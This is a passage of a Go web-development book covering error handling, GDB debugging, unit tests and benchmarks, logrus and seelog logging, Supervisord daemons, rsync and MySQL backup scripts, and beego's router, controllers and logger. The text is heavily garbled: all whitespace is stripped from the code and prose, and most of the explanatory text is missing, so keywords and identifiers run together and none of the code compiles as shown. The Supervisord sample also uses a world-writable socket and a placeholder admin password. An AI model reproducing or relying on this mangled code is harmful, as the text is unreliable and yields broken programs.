funcviewRecord(whttp.ResponseWriter,r*http.Request){c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{http.Error(w,err.Error(),500)return}iferr:=viewTemplate.Execute(w,record);err!=nil{http.Error(w,err.Error(),500)}}

http.Error500HandleFunc(HTTP)

typeappHandlerfunc(http.ResponseWriter,*http.Request)error

func(fnappHandler)ServeHTTP(whttp.ResponseWriter,r*http.Request){iferr:=fn(w,r);err!=nil{http.Error(w,err.Error(),500)}}

funcinit(){http.Handle("/view",appHandler(viewRecord))}

/view

funcviewRecord(whttp.ResponseWriter,r*http.Request)error{c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{returnerr}returnviewTemplate.Execute(w,record)}

500

typeappErrorstruct{ErrorerrorMessagestringCodeint}

typeappHandlerfunc(http.ResponseWriter,*http.Request)*appError

func(fnappHandler)ServeHTTP(whttp.ResponseWriter,r*http.Request){ife:=fn(w,r);e!=nil{//eis*appError,notos.Error.c:=appengine.NewContext(r)c.Errorf("%v",e.Error)http.Error(w,e.Message,e.Code)}}

funcviewRecord(whttp.ResponseWriter,r*http.Request)*appError{c:=appengine.NewContext(r)key:=datastore.NewKey(c,"Record",r.FormValue("id"),0,nil)record:=new(Record)iferr:=datastore.Get(c,key,record);err!=nil{return&appError{err,"Recordnotfound",404}}iferr:=viewTemplate.Execute(w,record);err!=nil{return&appError{err,"Can'tdisplayrecord",500}}returnnil}

view

GoerrorWeb

links

:: GDB

11.2 GDBGoPHPPythonGoPrintlnPythonpdb/ipdbJavascriptGoGDBGoGDBGDBGDBGo

godelveGo

GDB

GDBFSF()UNIXGDB

1.2.3.4.

GoGDB7.1

Go

1. -ldflags"-s"debug2. -gcflags"-N-l"GoGDB

GDB

list

l list1515

10time.Sleep(2*time.Second)11c<-i12}13close(c)14}1516funcmain(){17msg:="Startingmain"18fmt.Println(msg)19bus:=make(chanint)

break

b, b10

delete d, infobreakpoints

NumTypeDispEnbAddressWhat2breakpointkeepy0x0000000000400dc3inmain.mainat/home/xiemengjun/gdb.go:23breakpointalreadyhit1time

backtrace

bt,

#0main.main()at/home/xiemengjun/gdb.go:23#10x000000000040d61einruntime.main()at/home/xiemengjun/go/src/pkg/runtime/proc.c:244#20x000000000040d6c1inschedunlock()at/home/xiemengjun/go/src/pkg/runtime/proc.c:267#30x0000000000000000in??()

info

info

infolocals

infobreakpoints

infogoroutines

goroutine,*

*1runningruntime.gosched

*2syscallruntime.entersyscall3waitingruntime.gosched4runnableruntime.gosched

print

p$len()$cap()stringslicesmaps

whatis

whatismsg,

type=structstring

next

n, n

coutinue

cN

setvariable

setvariable<var>=<value>

GDBGo

packagemain

import("fmt""time"

)

funccounting(cchan<-int){fori:=0;i<10;i++{time.Sleep(2*time.Second)c<-i}close(c)}

funcmain(){msg:="Startingmain"fmt.Println(msg)bus:=make(chanint)msg="startingagofunc"gocounting(bus)forcount:=rangebus{fmt.Println("count:",count)}}

gdbfile:

gobuild-gcflags"-N-l"gdbfile.go

gdb

gdbgdbfile

run

(gdb)runStartingprogram:/home/xiemengjun/gdbfileStartingmaincount:0count:1count:2count:3

count:4count:5count:6count:7count:8count:9[LWP2771exited][Inferior1(process2771)exitednormally]

(gdb)b23Breakpoint1at0x400d8d:file/home/xiemengjun/gdbfile.go,line23.(gdb)runStartingprogram:/home/xiemengjun/gdbfileStartingmain[NewLWP3284][SwitchingtoLWP3284]

Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)

b2323 run list

(gdb)list18fmt.Println(msg)19bus:=make(chanint)20msg="startingagofunc"21gocounting(bus)22forcount:=rangebus{23fmt.Println("count:",count)24}25}

GDB

(gdb)infolocals

count=0bus=0xf840001a50(gdb)pcount$1=0(gdb)pbus$2=(chanint)0xf840001a50(gdb)whatisbustype=chanint

(gdb)cContinuing.count:0[NewLWP3303][SwitchingtoLWP3303]

Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)(gdb)cContinuing.count:1[SwitchingtoLWP3302]

Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)

cfor

(gdb)infolocalscount=2bus=0xf840001a50(gdb)setvariablecount=9(gdb)infolocalscount=9bus=0xf840001a50(gdb)cContinuing.count:9

[SwitchingtoLWP3302]

Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)

goroutinegoroutine

(gdb)infogoroutines*1runningruntime.gosched*2syscallruntime.entersyscall3waitingruntime.gosched4runnableruntime.gosched(gdb)goroutine1bt#00x000000000040e33binruntime.gosched()at/home/xiemengjun/go/src/pkg/runtime/proc.c:927#10x0000000000403091inruntime.chanrecv(c=void,ep=void,selected=void,received=void)at/home/xiemengjun/go/src/pkg/runtime/chan.c:327#20x000000000040316finruntime.chanrecv2(t=void,c=void)at/home/xiemengjun/go/src/pkg/runtime/chan.c:420#30x0000000000400d6finmain.main()at/home/xiemengjun/gdbfile.go:22#40x000000000040d0c7inruntime.main()at/home/xiemengjun/go/src/pkg/runtime/proc.c:244#50x000000000040d16ainschedunlock()at/home/xiemengjun/go/src/pkg/runtime/proc.c:267#60x0000000000000000in??()

goroutinesgoruntine

GDBGo runprintinfosetvariablecoutinuelistbreakGDBGoGDBGDB

links

:: Go

11.3GoGo

Gotestinggotest testing

gotests:

goget-u-vgithub.com/cweill/gotests/...

gotest gotest,

gotest.gogotest_test.go

1. gotest.go::

packagegotest

import("errors")

funcDivision(a,bfloat64)(float64,error){ifb==0{return0,errors.New("0" )}

returna/b,nil}

1. gotest_test.go:

_test.go gotest

importtestingTest

TestXxx()testing.T

funcTestXxx(t*testing.T),Xxx[a-z] Testintdiv

testing.TError,Errorf,FailNow,Fatal,FatalIf Log

packagegotest

import("testing")

funcTest_Division_1(t*testing.T){ifi,e:=Division(6,2);i!=3||e!=nil{//tryaunittestonfunctiont.Error("" )//}else{t.Log("" )//}}

funcTest_Division_2(t*testing.T){t.Error("" )}

`gotest`,

---FAIL:Test_Division_2(0.00seconds)gotest_test.go:16:FAILexitstatus1

FAILgotest0.013s`t.Error``gotest``gotest-v`

===RUNTest_Division_1---PASS:Test_Division_1(0.00seconds)gotest_test.go:11:===RUNTest_Division_2---FAIL:Test_Division_2(0.00seconds)gotest_test.go:16:FAILexitstatus1FAILgotest0.012s

1`Test_Division_1` 2`Test_Division_2` 2

funcTest_Division_2(t*testing.T){if_,e:=Division(6,0);e==nil{//tryaunittestonfunctiont.Error("Divisiondidnotworkasexpected.")//

}else{t.Log("onetestpassed.",e)//}}

`gotest-v`

===RUNTest_Division_1---PASS:Test_Division_1(0.00seconds)gotest_test.go:11:===RUNTest_Division_2---PASS:Test_Division_2(0.00seconds)gotest_test.go:20:onetestpassed.0PASSokgotest0.013s

(,

XXX

funcBenchmarkXXX(b*testing.B){...}

gotest -test.bench: -test.bench="test_name_regex",gotest-test.bench=".*"

, testing.B.N,_test.go

webbench_test.go

packagegotest

import("testing")

funcBenchmark_Division(b*testing.B){fori:=0;i<b.N;i++{//useb.NforloopingDivision(4,5)}}

funcBenchmark_TimeConsumingFunction(b*testing.B){b.StopTimer()//

//,,,//

b.StartTimer()//fori:=0;i<b.N;i++{Division(4,5)}}

gotest-filewebbench_test.go-test.bench=".*"

PASSBenchmark_Division5000000007.76ns/opBenchmark_TimeConsumingFunction5000000007.80ns/opokgotest9.364s

TestXXX Benchmark_Division5000000007.76Benchmark_TimeConsumingFunction5000000007.80

testing gotest,gotest

links

: GDB:

11.4GoGDBGDBGo testing gotestWeb()

links

: Go:

12

10%90%10%10%

GoGoCdaemon

links

::

12.1WebGologfmtpanicGoJavaC++log4jlog4cpp: logrusseelog

##logruslogrusGologAPI,Go

logrus

goget-ugithub.com/sirupsen/logrus

:

packagemain

import(log"github.com/Sirupsen/logrus")

funcmain(){log.WithFields(log.Fields{"animal":"walrus",}).Info("Awalrusappears")}

logrus

packagemain

import(log"github.com/Sirupsen/logrus""os")

funcinit(){//JSONASCIIlog.SetFormatter(&log.JSONFormatter{})

//stdoutstderrlog.SetOutput(os.Stdout)

//log.SetLevel(log.WarnLevel)}

funcmain(){log.WithFields(log.Fields{"animal":"walrus","size":10,

}).Info("Agroupofwalrusemergesfromtheocean")

log.WithFields(log.Fields{"omg":true,"number":122,}).Warn("Thegroup'snumberincreasedtremendously!")

log.WithFields(log.Fields{"omg":true,"number":100,}).Fatal("Theicebreaks!")

////logrus.EntryWithFields()contextLogger:=log.WithFields(log.Fields{"common":"thisisacommonfield","other":"Ialsoshouldbeloggedalways",})

contextLogger.Info("I'llbeloggedwithcommonandotherfield")contextLogger.Info("Metoo")}

seelog

seelogGo

XML

logrotateSMTP

seelogwiki

seelog

goget-ugithub.com/cihub/seelog

packagemain

importlog"github.com/cihub/seelog"

funcmain(){deferlog.Flush()log.Info("HellofromSeelog!")}

Hellofromseelogseelog

seelog

seelog

packagelogs

import(//"errors""fmt"seelog"github.com/cihub/seelog"//"io")

varLoggerseelog.LoggerInterface

funcloadAppConfig(){

appConfig:=`<seelogminlevel="warn"><outputsformatid="common"><rollingfiletype="size"filename="/data/logs/roll.log"maxsize="100000"maxrolls="5"/><filterlevels="critical"><filepath="/data/logs/critical.log"formatid="critical"/><smtpformatid="criticalemail"senderaddress="[email protected]"sendername="ShortUrlAPI"hostname="smtp.gmail.com"hostport="587"username="mailusername"password="mailpassword"><recipientaddress="[email protected]"/></smtp></filter></outputs><formats><formatid="common"format="%Date/%Time[%LEV]%Msg%n"/><formatid="critical"format="%File%FullPath%Func%Msg%n"/><formatid="criticalemail"format="Criticalerroronourserver!\n%Time%Date%RelFile%Func%Msg\nSentbySeelog"/></formats></seelog>`logger,err:=seelog.LoggerFromConfigAsBytes([]byte(appConfig))iferr!=nil{fmt.Println(err)return}UseLogger(logger)}

funcinit(){DisableLog()loadAppConfig()}

//DisableLogdisablesalllibrarylogoutputfuncDisableLog(){Logger=seelog.Disabled}

//UseLoggerusesaspecifiedseelog.LoggerInterfacetooutputlibrarylog.

//UsethisfuncifyouareusingSeelogloggingsysteminyourapp.funcUseLogger(newLoggerseelog.LoggerInterface){Logger=newLogger}

DisableLog

LoggerseelogLogger

loadAppConfig

seelogXML

seelog

minlevel,maxlevel

outputs

logrotatefiltercritical

formats

UseLogger

packagemain

import("net/http"

"project/logs""project/configs""project/routes")

funcmain(){addr,_:=configs.MainConfig.String("server","addr")logs.Logger.Info("Startserverat:%v",addr)err:=http.ListenAndServe(addr,routes.NewMux())logs.Logger.Critical("Servererr:%v",err)}

smtp

<smtpformatid="criticalemail"senderaddress="[email protected]"sendername="ShortUrlAPI"hostname="smtp.gmail.com"hostport="587"username="mailusername"password="mailpassword"><recipientaddress="[email protected]"/></smtp>

criticalemailrecipient

logs.Logger.Critical("testCriticalmessage")

CriticalEmail

"Info""warn"linuxgrep

#cat/data/logs/roll.log|grep"failedlogin"2012-12-1111:12:00WARN:failedloginattemptfrom11.22.33.44usernamepassword

Webseeloglogrotate

seelogseelogminlevel

links

::

12.2WebWeb

SQLSQL

inijson

HTTP404401()403()503()

Web(404.html)(error.html)errnil404()

404.htmlerror.html

<htmllang="en"><head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"><title> </title><metaname="viewport"content="width=device-width,initial-scale=1.0">

</head><body><divclass="container"><divclass="row"><divclass="span10"><divclass="hero-unit">

<h1>404!</h1><p>{{.ErrorInfo}}</p></div></div><!--/span--></div></div></body></html>

<htmllang="en"><head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"><title> </title><metaname="viewport"content="width=device-width,initial-scale=1.0">

</head><body><divclass="container"><divclass="row"><divclass="span10"><divclass="hero-unit"><h1>! </h1><p>{{.ErrorInfo}}</p></div></div><!--/span--></div></div></body></html>

404

func(p*MyMux)ServeHTTP(whttp.ResponseWriter,r*http.Request){ifr.URL.Path=="/"{sayhelloName(w,r)return}NotFound404(w,r)return}

funcNotFound404(whttp.ResponseWriter,r*http.Request){log.Error("" )//t,_=t.ParseFiles("tmpl/404.html",nil)//ErrorInfo:="" //t.Execute(w,ErrorInfo)//merger}

funcSystemError(whttp.ResponseWriter,r*http.Request){log.Critical("" )//Critical

t,_=t.ParseFiles("tmpl/error.html",nil)//ErrorInfo:="" //t.Execute(w,ErrorInfo)//merger}

try...catchGopanicos.Openpanicnet.ConnWritepanic

panicx[j]jpanicpanicgoroutinepanicpanicGopanicuidUserusernameuidrecoverrecover

funcGetUser(uidint)(usernamestring){deferfunc(){ifx:=recover();x!=nil{username=""}

}()

username=User[uid]return}

packagepanicpanicrecoverpackage

WebGo

links

::

12.3WebGoCdaemonGodaemonGoSupervisordupstartdaemontoolsSupervisord

daemon

GodaemonGobug `http://code.google.com/p/go/issues/detail?id=227`fork

daemon

MarGoCommond

d:=flag.Bool("d",false,"Whetherornottolaunchinthebackground(likeadaemon)")if*d{cmd:=exec.Command(os.Args[0],"-close-fds","-addr",*addr,"-call",*call,)serr,err:=cmd.StderrPipe()iferr!=nil{log.Fatalln(err)}err=cmd.Start()iferr!=nil{log.Fatalln(err)}s,err:=ioutil.ReadAll(serr)s=bytes.TrimSpace(s)ifbytes.HasPrefix(s,[]byte("addr:")){fmt.Println(string(s))cmd.Process.Release()}else{log.Printf("unexpectedresponsefromMarGo:`%s`error:`%v`\n",s,err)cmd.Process.Kill()}}

syscall

packagemain

import("log""os""syscall")

funcdaemon(nochdir,nocloseint)int{varret,ret2uintptrvarerruintptr

darwin:=syscall.OS=="darwin"

//alreadyadaemonifsyscall.Getppid()==1{return0}

//forkofftheparentprocessret,ret2,err=syscall.RawSyscall(syscall.SYS_FORK,0,0,0)iferr!=0{return-1}

//failureifret2<0{os.Exit(-1)}

//handleexceptionfordarwinifdarwin&&ret2==1{ret=0}

//ifwegotagoodPID,thenwecallexittheparentprocess.ifret>0{os.Exit(0)}

/*Changethefilemodemask*/_=syscall.Umask(0)

//createanewSIDforthechildprocesss_ret,s_errno:=syscall.Setsid()ifs_errno!=0{log.Printf("Error:syscall.Setsiderrno:%d",s_errno)}ifs_ret<0{return-1}

ifnochdir==0{os.Chdir("/")}

ifnoclose==0{f,e:=os.OpenFile("/dev/null",os.O_RDWR,0)ife==nil{fd:=f.Fd()syscall.Dup2(fd,os.Stdin.Fd())syscall.Dup2(fd,os.Stdout.Fd())syscall.Dup2(fd,os.Stderr.Fd())}}

return0}

Godaemondaemonskynetdaemon

Supervisord

GodaemonSupervisordSupervisordPythonsupervisorddaemon

SupervisordSupervisordSupervisord100000Supervisord10241024.

Supervisord

Supervisordsudoeasy_installsupervisorSupervisord setup.pyinstall

easy_installsetuptools

http://pypi.python.org/pypi/setuptools#filespython shsetuptoolsxxxx.eggeasy_installSupervisord

Supervisord

Supervisord/etc/supervisord.conf

;/etc/supervisord.conf[unix_http_server]file=/var/run/supervisord.sockchmod=0777chown=root:root

[inet_http_server]#Webport=9001username=adminpassword=yourpassword

[supervisorctl]; 'unix_http_server'serverurl=unix:///var/run/supervisord.sock

[supervisord]logfile=/var/log/supervisord/supervisord.log;(mainlogfile;default$CWD/supervisord.log)logfile_maxbytes=50MB;(maxmainlogfilebytesb4rotation;default50MB)logfile_backups=10;(numofmainlogfilerotationbackups;default10)loglevel=info;(loglevel;defaultinfo;others:debug,warn,trace)pidfile=/var/run/supervisord.pid;(supervisordpidfile;defaultsupervisord.pid)nodaemon=true;(startinforegroundiftrue;defaultfalse)minfds=1024;(min.availstartupfiledescriptors;default1024)minprocs=200;(min.availprocessdescriptors;default200)user=root;(defaultiscurrentuser,requiredifroot)childlogdir=/var/log/supervisord/;('AUTO'childlogdir,default$TEMP)

[rpcinterface:supervisor]supervisor.rpcinterface_factory=supervisor.rpcinterface:make_main_rpcinterface

;program[program:blogdemon]

command=/data/blog/blogdemonautostart=truestartsecs=5user=rootredirect_stderr=truestdout_logfile=/var/log/supervisord/blogdemon.log

Supervisord

Supervisordsupervisorsupervisorctl

supervisordSupervisordsupervisorctlstopprogramxxx(programxxx)programxxx[program:blogdemon]blogdemonsupervisorctlstartprogramxxxsupervisorctlrestartprogramxxxsupervisorctlstopallstartrestartstopsupervisorctlreload

GodaemonGodaemondaemonpythonSupervisordSupervisordGo

links

::

12.4/Mysqlredis

Web

rsyncrsyncwindowswindowscwrsync

rsync

rysnc http://rsync.samba.org/rsyncLinux

#sudoapt-getinstallrsyncdebianubuntu#yuminstallrsyncFedoraRedhatCentOS#rpm-ivhrsyncFedoraRedhatCentOSrpm

Linux

tarxvfrsync-xxx.tar.gzcdrsync-xxx./configure--prefix=/usr;make;makeinstallgcc

rsync

rsyncrsyncd.conf()rsyncd.secrets()rsyncd.motd(rysnc)

rsync

#/usr/bin/rsync--daemon--config=/etc/rsyncd.conf

--daemonrsyncrsync

echo'rsync--daemon'>>/etc/rc.d/rc.local

rsync

echo':' >/etc/rsyncd.secretschmod600/etc/rsyncd.secrets

rsync-avzP--delete--password-file=rsyncd.secrets@ 192.168.145.5::www/var/rsync/backup

i. -avzP--helpii. --deleteABiii. --password-file/etc/rsyncd.secrets/etc/rsyncd.secretscron

iv. ""/etc/rsyncd.secretsv. 192.168.145.5IP

vi. ::www2:www/etc/rsyncd.conf[www]/etc/rsyncd.conf[www]:

crontabrsync

MySQL

MySQLMySQLmaster/slavemaster/slavemaster/slave

shellrsync

mysqlmysqldump

#!/bin/bash

#mysql_user="USER"#MySQLmysql_password="PASSWORD"#MySQLmysql_host="localhost"mysql_port="3306"mysql_charset="utf8"#MySQLbackup_db_arr=("db1""db2")#("db1""db2""db3")

backup_location=/var/www/mysql#"/",

expire_backup_delete="ON"#ONOFFexpire_days=3#expire_backup_delete

#backup_time=`date+%Y%m%d%H%M`#backup_Ymd=`date+%Y-%m-%d`#backup_3ago=`date-d'3daysago'+%Y-%m-%d`#3backup_dir=$backup_location/$backup_Ymd#welcome_msg="WelcometouseMySQLbackuptools!"#

#MYSQL,mysqlmysql_ps=`ps-ef|grepmysql|wc-l`mysql_listen=`netstat-an|grepLISTEN|grep$mysql_port|wc-l`if[[$mysql_ps==0]-o[$mysql_listen==0]];thenecho"ERROR:MySQLisnotrunning!backupstop!"exitelseecho$welcome_msgfi

#mysqlmysql-h$mysql_host-P$mysql_port-u$mysql_user-p$mysql_password<<endusemysql;selecthost,userfromuserwhereuser='root'andhost='localhost';

exitend

flag=`echo$?`if[$flag!="0"];thenecho"ERROR:Can'tconnectmysqlserver!backupstop!"exitelseecho"MySQLconnectok!Pleasewait......"#if["$backup_db_arr"!=""];then#dbnames=$(cut-d','-f1-5$backup_database)#echo"arris(${backup_db_arr[@]})"fordbnamein${backup_db_arr[@]}doecho"database$dbnamebackupstart..."`mkdir-p$backup_dir``mysqldump-h$mysql_host-P$mysql_port-u$mysql_user-p$mysql_password$dbname--default-character-set=$mysql_charset|gzip>$backup_dir/$dbname-$backup_time.sql.gz`flag=`echo$?`if[$flag=="0"];thenecho"database$dbnamesuccessbackupto$backup_dir/$dbname-$backup_time.sql.gz"elseecho"database$dbnamebackupfail!"

fi

doneelseecho"ERROR:Nodatabasetobackup!backupstop"exitfi#if["$expire_backup_delete"=="ON"-a"$backup_location"!=""];then#`find$backup_location/-typed-o-typef-ctime+$expire_days-execrm-rf{}\;``find$backup_location/-typed-mtime+$expire_days|xargsrm-rf`echo"Expiredbackupdatadeletecomplete!"fiecho"Alldatabasebackupsuccess!Thankyou!"exitfi

shell

chmod600/root/mysql_backup.shchmod+x/root/mysql_backup.sh

crontab00:00/var/www/mysqlrsync

0000***/root/mysql_backup.sh

MySQL

MySQLslave

SQL

mysql-uusername-pdatabse<backup.sql

redis

redisNoSQLredismaster/slaveredisrsync

redis

redisMySQL

rediscopyredisredisredis

rsyncMySQLredis

links

::

12.5Web

404()

Web

links

:: Web

13 WebGoWebWebGoWebMVCURLcontrollerresponserequestWeb

WebMVCMVC

links

::

13.1

gopath

gopathGOPATHGOPATHwindowlinux/MacOS exportgopath=/home/astaxie/gopathgopathpkgbinsrcsrcbeeblogwindow

13.1GOPATH

13.2$gopath/src

--MVCGo

(Model)(View)GoRSS“”GotemplateView(Controller)HTTP

:

13.3

1. main.go2. HTTPURLmethod()3.4. HTTP5.6. Web

|——main.go|——conf|——controllers|——models|——utils|——static|——views

REST

GOPATHMVC

links

::

13.2

HTTP

HTTPHTTP(struct)

(path)(:/user/123,/article/123)(?id=11)HTTP(method)(GETPOSTPUTDELETEPATCH)

()

3.4GohttpGohttp

funcfooHandler(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hello,%q",html.EscapeString(r.URL.Path))}

http.HandleFunc("/foo",fooHandler)

http.HandleFunc("/bar",func(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hello,%q",html.EscapeString(r.URL.Path))})

log.Fatal(http.ListenAndServe(":8080",nil))

httpDefaultServeMuxURL(r.URL.Path)

Gohttp.Handlehttp.HandleFunc DefaultServeMux.Handle(patternstring,handlerHandler),mapmap[string]muxEntry

GotcpHandlernil http.DefaultServeMuxDefaultServeMux.ServeHTTPmapURL

fork,v:=rangemux.m{if!pathMatch(k,path){continue}ifh==nil||len(k)>n{n=len(k)

h=v.h}}

beego

WebhttpGo

/user/:uidREST/fooGETPOSTDELETEHEADAPIstruct

beegoRESTGo

RESTstructstructmethod

controllerInfo(structreflect.Type)ControllerRegistor(routersslicebeego)

typecontrollerInfostruct{regex*regexp.Regexpparamsmap[int]stringcontrollerTypereflect.Type}

typeControllerRegistorstruct{routers[]*controllerInfoApplication*App}

ControllerRegistor

func(p*ControllerRegistor)Add(patternstring,cControllerInterface)

func(p*ControllerRegistor)Add(patternstring,cControllerInterface){parts:=strings.Split(pattern,"/")

j:=0params:=make(map[int]string)fori,part:=rangeparts{ifstrings.HasPrefix(part,":"){expr:="([^/]+)"

//ausermaychoosetooverridethedefultexpression//similartoexpressjs:‘/user/:id([0-9]+)’

ifindex:=strings.Index(part,"(");index!=-1{expr=part[index:]part=part[:index]}params[j]=partparts[i]=exprj++}}

//recreatetheurlpattern,withparametersreplaced//byregularexpressions.thencompiletheregex

pattern=strings.Join(parts,"/")regex,regexErr:=regexp.Compile(pattern)ifregexErr!=nil{

//TODOadderrorhandlingheretoavoidpanicpanic(regexErr)return}

//nowcreatetheRoutet:=reflect.Indirect(reflect.ValueOf(c)).Type()

route:=&controllerInfo{}route.regex=regexroute.params=paramsroute.controllerType=t

p.routers=append(p.routers,route)

}

GohttpFileServerbeegoStaticDirStaticDirmap

func(app*App)SetStaticPath(urlstring,pathstring)*App{StaticDir[url]=pathreturnapp}

beego.SetStaticPath("/img","/static/img")

ControllerRegistor

//AutoRoutefunc(p*ControllerRegistor)ServeHTTP(whttp.ResponseWriter,r*http.Request){deferfunc(){iferr:=recover();err!=nil{if!RecoverPanic{//gobacktopanicpanic(err)

}else{Critical("Handlercrashedwitherror",err)fori:=1;;i+=1{_,file,line,ok:=runtime.Caller(i)if!ok{break}Critical(file,line)}}}}()varstartedboolforprefix,staticDir:=rangeStaticDir{ifstrings.HasPrefix(r.URL.Path,prefix){file:=staticDir+r.URL.Path[len(prefix):]http.ServeFile(w,r,file)started=truereturn}}requestPath:=r.URL.Path

//findamatchingRoutefor_,route:=rangep.routers{

//checkifRoutepatternmatchesurlif!route.regex.MatchString(requestPath){continue}

//getsubmatches(params)matches:=route.regex.FindStringSubmatch(requestPath)

//doublecheckthattheRoutematchestheURLpattern.iflen(matches[0])!=len(requestPath){continue}

params:=make(map[string]string)iflen(route.params)>0{//addurlparameterstothequeryparammapvalues:=r.URL.Query()fori,match:=rangematches[1:]{values.Add(route.params[i],match)params[route.params[i]]=match

}

//reassemblequeryparamsandaddtoRawQueryr.URL.RawQuery=url.Values(values).Encode()+"&"+r.URL.RawQuery//r.URL.RawQuery=url.Values(values).Encode()}//Invoketherequesthandlervc:=reflect.New(route.controllerType)init:=vc.MethodByName("Init")in:=make([]reflect.Value,2)ct:=&Context{ResponseWriter:w,Request:r,Params:params}in[0]=reflect.ValueOf(ct)in[1]=reflect.ValueOf(route.controllerType.Name())init.Call(in)in=make([]reflect.Value,0)method:=vc.MethodByName("Prepare")method.Call(in)ifr.Method=="GET"{method=vc.MethodByName("Get")method.Call(in)}elseifr.Method=="POST"{method=vc.MethodByName("Post")method.Call(in)}elseifr.Method=="HEAD"{method=vc.MethodByName("Head")method.Call(in)}elseifr.Method=="DELETE"{method=vc.MethodByName("Delete")method.Call(in)}elseifr.Method=="PUT"{method=vc.MethodByName("Put")method.Call(in)}elseifr.Method=="PATCH"{method=vc.MethodByName("Patch")method.Call(in)}elseifr.Method=="OPTIONS"{method=vc.MethodByName("Options")method.Call(in)}ifAutoRender{method=vc.MethodByName("Render")method.Call(in)}method=vc.MethodByName("Finish")

method.Call(in)started=truebreak}

//ifnomatchestourl,throwanotfoundexceptionifstarted==false{http.NotFound(w,r)}}

beego.BeeApp.RegisterController("/",&controllers.MainController{})

beego.BeeApp.RegisterController("/:param",&controllers.UserController{})

beego.BeeApp.RegisterController("/users/:uid([0-9]+)",&controllers.UserController{})

links

:: controller

13.3controllerMVCActionWebRESTFilterrewriteURLRESTURLRESTMVCRESTMVCcontrollerWeb“Hello,world”

controller

MVCWebModelViewController(UI)ModelViewHTMLControllerWebURLURLcontrollerMVCModelView302ModelViewcontroller

beego REST

structstructRESTcontrollerstructinterface

typeControllerstruct{Ct*ContextTpl*template.TemplateDatamap[interface{}]interface{}ChildNamestringTplNamesstringLayout[]stringTplExtstring}

typeControllerInterfaceinterface{Init(ct*Context,cnstring)//Prepare()//Get()//method=GETPost()//method=POSTDelete()//method=DELETE

Put()//method=PUTHead()//method=HEADPatch()//method=PATCHOptions()//method=OPTIONSFinish()//Render()error//method}

addControllerInterfaceController

func(c*Controller)Init(ct*Context,cnstring){c.Data=make(map[interface{}]interface{})c.Layout=make([]string,0)c.TplNames=""c.ChildName=cnc.Ct=ctc.TplExt="tpl"}

func(c*Controller)Prepare(){

}

func(c*Controller)Finish(){

}

func(c*Controller)Get(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Post(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Delete(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Put(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Head(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Patch(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Options(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}

func(c*Controller)Render()error{iflen(c.Layout)>0{varfilenames[]stringfor_,file:=rangec.Layout{filenames=append(filenames,path.Join(ViewsPath,file))}t,err:=template.ParseFiles(filenames...)iferr!=nil{Trace("templateParseFileserr:",err)}err=t.ExecuteTemplate(c.Ct.ResponseWriter,c.TplNames,c.Data)iferr!=nil{Trace("templateExecuteerr:",err)}}else{ifc.TplNames==""{c.TplNames=c.ChildName+"/"+c.Ct.Request.Method+"."+c.TplExt}t,err:=template.ParseFiles(path.Join(ViewsPath,c.TplNames))iferr!=nil{Trace("templateParseFileserr:",err)}err=t.Execute(c.Ct.ResponseWriter,c.Data)iferr!=nil{Trace("templateExecuteerr:",err)}}returnnil}

func(c*Controller)Redirect(urlstring,codeint){c.Ct.Redirect(code,url)}

controllerurlcontroller

Init()Prepare()method() method GETPOSTPUTHEAD403

Render() AutoRenderFinish()

beegocontroller

packagecontrollers

import("github.com/astaxie/beego")

typeMainControllerstruct{beego.Controller}

func(this*MainController)Get(){this.Data["Username"]="astaxie"this.Data["Email"]="[email protected]"this.TplNames="index.tpl"}

MainControllerGet(POST/HEAD)403GetAutoRender=trueGetRender

index.tpl

<!DOCTYPEhtml><html><head><title>beegowelcometemplate</title></head><body><h1>Hello,world!{{.Username}},{{.Email}}</h1></body></html>

links

::

13.4

seeloglevellevellevel

beego

beegoseeloglevelbeegolog.Loggeros.Stdout,beego.SetLogger

//Loglevelstocontroltheloggingoutput.const(LevelTrace=iotaLevelDebugLevelInfoLevelWarningLevelErrorLevelCritical)

//logLevelcontrolsthegloballoglevelusedbythelogger.varlevel=LevelTrace

//LogLevelreturnsthegloballoglevelandcanbeusedin//ownimplementationsoftheloggerinterface.funcLevel()int{returnlevel}

//SetLogLevelsetsthegloballoglevelusedbythesimple//logger.funcSetLevel(lint){level=l}

TraceSetLevel

//loggerreferencestheusedapplicationlogger.varBeeLogger=log.New(os.Stdout,"",log.Ldate|log.Ltime)

//SetLoggersetsanewlogger.funcSetLogger(l*log.Logger){BeeLogger=l}

//Tracelogsamessageattracelevel.funcTrace(v...interface{}){iflevel<=LevelTrace{BeeLogger.Printf("[T]%v\n",v)}}

//Debuglogsamessageatdebuglevel.funcDebug(v...interface{}){iflevel<=LevelDebug{BeeLogger.Printf("[D]%v\n",v)}}

//Infologsamessageatinfolevel.funcInfo(v...interface{}){iflevel<=LevelInfo{BeeLogger.Printf("[I]%v\n",v)}}

//Warninglogsamessageatwarninglevel.funcWarn(v...interface{}){iflevel<=LevelWarning{BeeLogger.Printf("[W]%v\n",v)}}

//Errorlogsamessageaterrorlevel.funcError(v...interface{}){iflevel<=LevelError{BeeLogger.Printf("[E]%v\n",v)}}

//Criticallogsamessageatcriticallevel.funcCritical(v...interface{}){iflevel<=LevelCritical{BeeLogger.Printf("[C]%v\n",v)}}

BeeLoggeros.Stdoutbeego.SetLoggerlogger

